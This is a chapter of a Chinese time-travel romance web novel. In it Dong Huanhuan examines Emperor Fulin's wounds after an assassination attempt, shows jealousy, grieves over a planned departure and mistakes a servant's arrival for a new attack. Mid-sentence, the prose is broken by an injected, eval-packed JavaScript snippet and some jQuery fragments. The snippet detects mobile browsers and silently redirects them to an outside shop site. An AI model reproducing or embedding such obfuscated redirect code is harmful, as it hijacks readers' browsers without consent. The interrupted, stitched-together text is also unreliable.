107. 刺杀后遗症

作品:《清穿之原来我是董鄂妃

    虽说福临告诉她没事,可是董浣浣没有亲自检查完,还是不放心,福临拗不过她眼底的执拗,只得任由她细细查看。


    董浣浣微凉的指尖轻轻摩挲过福临的脖颈,她的目光一寸寸缓缓扫过,生怕错过任何细微伤痕。直到确认那片肌肤光洁如初,她紧绷的肩头才稍稍松弛,这才分心开始问:“阿济格的事情,都解决了吧?”


    “放心吧,都解决了。”福临颔首,声音里满是安抚。


    董浣浣的手却并未停下,缓缓往下探去,顺着他的后颈慢慢摸向脊背,目光也随之落去:“我听人说,年初时你被阿济格刺伤了背,让我看看旧伤恢复得如何。”


    随着她的动作,福临的耳尖渐渐染上了一层薄红。他家浣儿未经世事,哪里知晓这般举动有多暧昧。她微凉的指尖划过之处,让他的肌肤泛起细密的战栗,连呼吸都变得有些不稳。


    福临伸手将她的手拉了下来,攥在手心里,制止了她进一步的动作,刻意岔开话题:“这话,你听谁说的?”


    这事他一直瞒着她,便是怕她知晓后忧心,究竟是谁多了嘴,将这事透露给了她?


    董浣浣轻轻抽回自己的手,避开他的目光:“你别管谁告诉我的,你先让我看看你的伤,到底怎么样了。”


    她可不会将青柠供出去,这是她们女孩子之间的道义。


    福临被她的执拗给打败了,无奈地松开了她的手,任由她继续“胡作非为”了。


    董浣浣的指尖隔着衣料轻轻拂过,声音里带着一丝后怕:“事情解决了就好,答应我,下次别再以身犯险了。今日这样的场景,我实在不想再经历一次了,我怕……”


    直到此刻,想起早上那惊心动魄的凶险场面,董浣浣还是会心有余悸。她再也承受不起,眼睁睁看着他在自己面前命悬一线的模样了,那种恐惧,几乎要将她整个人吞噬。


    福临将她仍在自己脖颈上游走的小手拉到唇边,轻轻嗅了嗅,是茉莉花香的味道。


    不能再让她这般“为所欲为”了。她懵懂无知,不懂得男女之防,可他却清醒得很。再这样下去,他真怕自己会失控,做出什么逾矩的事情来。


    薄唇轻轻落在她的手背上,触感轻柔得如同羽毛拂过,却让董浣浣心头猛地一颤,像细微的电流瞬间窜遍全身,手背也微微战栗起来。


    明明他们从前也有过更亲密的举动,可董浣浣却不明白,为什么自己还会因为福临这蜻蜓点水般的一吻,变得这般手足无措,连心跳都乱了节拍。


    直到此刻,董浣浣那后知后觉的羞耻感终于爬上了心头。


    她怎么能这么明目张胆的去摸一个男人的身体,别说是在教条严肃的封建社会了,就是在现代这举动也是轻浮至极了。她慌乱地想要开口说些什么,打破这有些窘迫的氛围,可脑子一热,没经过思考,话便脱口而出:“石小睕去哪儿了?”


    话一出口,董浣浣便后悔了。


    她不想承认,自己好像真的有点嫉妒石小睕,可话却像是不受控制似的脱口而出了。


    等她反应过来自己刚刚说了些什么的时候,整张脸唰的一下就红了,又羞又恼地将头埋进福临的颈窝。


    她暗暗地在心里骂自己不争气,这都什么时候了,董浣浣你怎么还有闲心计较这些鸡毛蒜皮的小事,还在这里争风吃醋,真是太丢人了。


    福临听了这话,会怎么想她?会不会觉得她小气,觉得她无理取闹?


    更何况,按照计划,她很快就要离开了,又有什么资格去在意这些,去计较他身边有谁呢……


    福临闻言先是一愣,随即低笑出声,连带着胸腔都微微震动。


    董浣浣听到他的笑声,更加的窘迫了,伸出手在他胸口轻轻捶了几下,表达不满,随即又环住他的腰,将脸贴在他的胸前,像只鸵鸟似的,不愿抬头面对他。


    福临心中却是满满的欢喜。她终于又吃醋了。


    只有在她吃醋的时候,他才能真切地感受到,她是在乎他的。他喜欢她这份小小的占有欲,喜欢这种“他只属于她一个人”的独占感,这让他无比安心。


    他任由她以这样的姿势抱着他,柔声的和她解释道:“她啊,自然待在她该待的地方,而那个地方,绝不会是我这里。”


    他这是在跟自己解释?董浣浣心头微微一动,那他肯定是听出来她在吃醋了。


    董浣浣缓缓抬起头,眼神里带着几分不好意思,还有一丝忐忑,小声问道:“你会不会觉得我小肚鸡肠,觉得我拈酸吃醋,觉得我缺少大家闺秀的风范?”


    福临沉默片刻,抬手轻轻抚摸着她的头发,动作温柔至极,“我认识你的时候,你也没有那个什么劳什子的大家闺秀风范……”


    闻言,董浣浣狠狠瞪了他一眼,眼底带着几分嗔怪。


    对,她就是这么小气,就是这样的无理取闹。她可以自己这样说自己,但是她不想听到他这样评价她。


    她就是这样的矛盾又自我。


    福临将她的小别扭看在眼里,轻笑了一声,接着说道:“你这样很好,真的很好。我喜欢你这样,喜欢你为我吃醋的模样,这说明你心里真的有我,真的在乎我。”


    听到这话,董浣浣的心里却突然有些不是滋味,像是被什么东西堵住了似的,闷闷的。不知为何,离别的伤感突然涌上心头,眼眶瞬间涨得发酸,眼泪仿佛下一秒就要落下。


    留给他们的时间已经不多了。她不敢去想,若是福临知道了她的计划,会不会恨她?可她没有别的选择,她想活着,更想看着他实现从小的理想与抱负,所以,她不得不离开......


    福临察觉到她情绪的变化,心中又开始隐隐不安。自从回京之后,她总是这样,时不时就陷入悲伤之中,情绪时好时坏。等这阵子忙完,处理完所有的事情,他一定要带她出去好好散散心,让她卸下心头的重担,重新变成那个无忧无虑的她。


    董浣浣还沉浸在伤感里,门外却突然传来极轻的脚步声,董浣浣的神经瞬间绷紧,立刻从福临怀里起身,摆出防御的姿势,伸开双臂挡在了福临身前。


    难道是阿济格的残部又来刺杀了?那些人还没被抓干净吗?皇宫戒备森严,皇上的寝殿怎么会这么容易被人靠近?那些侍卫难道都是吃干饭的吗?一连串的疑问在她脑海里闪过,可她此刻只有一个念头,护


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827724|190875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住福临,绝不能让他受到半点伤害。


    福临看着她的动作,心中又好笑又感动。前一秒还沉浸在伤感中不能自已的姑娘,下一秒察觉到危险,便立刻将他护在身后。虽说传出去,堂堂天子被一个女子保护,难免会遭人嘲笑,可他却偏偏喜欢这种被她守护的感觉。


    她明明那么怕死,性子虽然有些小迷糊,可每次遇到事情,却从不会退缩。即便面对生死,也从未想过丢下他。微服出巡的路上,那么多次凶险,她明知是因他而惹来的杀身之祸,却从未抱怨过半句,也从未想过离开,始终坚定地待在他身边,照顾他,甚至不惜舍身保护他。


    事后,她也从不会提及自己的委屈,满心满眼都是担心他的以后。这样的姑娘,这样深深扎根在他心底的姑娘,此生恐怕再也遇不到第二个了,他怎么能放手让她走呢?无论如何,他都要将她留在他身边。


    董浣浣正想和福临商量,让他先躲一躲,自己去看看外面究竟发生了什么事情,殿门却被推开,吴良辅走了进来。他先是给福临行了个礼,又转向董浣浣躬身请安。


    看到来人是单良,董浣浣脑海里的警报才彻底解除。她轻轻舒了口气,原来是自己太过紧张,闹了个乌龙,真是虚惊一场。一定是早上的刺杀在她心里留下太大的阴影,才会让她如今如惊弓之鸟一般,稍微有点风吹草动,就不自觉的把事情往危险上想。


    福临看着她如释重负的模样,眼底满是温柔的笑意,伸手轻轻拍了拍她的后背,柔声安抚道:“别担心,有我在。”


    董浣浣抬头看向他,对上他深邃的眼眸,心中的不安渐渐消散。她知道,只要有他在,无论遇到什么事情,都能平安度过。可一想到自己的计划,想到即将到来的离别,她的心又忍不住抽痛起来。


    她强压下心头的伤感,扯出一个浅浅的笑容:“我知道,有你在,定然不会有事。”


    福临看着她眼底的那抹不易察觉的落寞,心中微微一紧。他总觉得,回京之后,浣儿好像有什么心事瞒着他,沉甸甸的,压在她心头。可每次他问起,她都只是轻描淡写地带过,不愿多说。他没有再追问,他相信,等浣儿愿意说的时候,自然会告诉他。他愿意等,等她敞开心扉的那一天。


    吴良辅站在一旁,将两人之间微妙的气氛看在眼里,识趣地低下头,敛声屏气,没有出声打扰,安静地等候在一旁。


    察觉到福临探究的目光,董浣浣很不自然的岔开话题,看向吴良辅:“单良,早上多亏了你,你的身体怎么样,找太医看过了吗,没受伤吧?”


    吴良辅闻言,恭敬的回答道:“多谢浣主子关心,奴才并无大碍。”


    董浣浣点点头,“没受伤就好。”


    吴良辅回答了声“是”,接着,他看向福临,语气恭敬地禀报:“主子,卫霖已经在殿外候着了,现在宣他进来吗?”


    听到他来了,福临就气不打一处来,随手将旁边桌上的毛笔扔得老远,怒斥道:“让他滚,有多远,滚多远!”


    浣主子,可是主子心尖上的人,居然敢把她置于危险之中,吴良辅在心里暗叹一声,卫小公子这次是真的提到铁板了......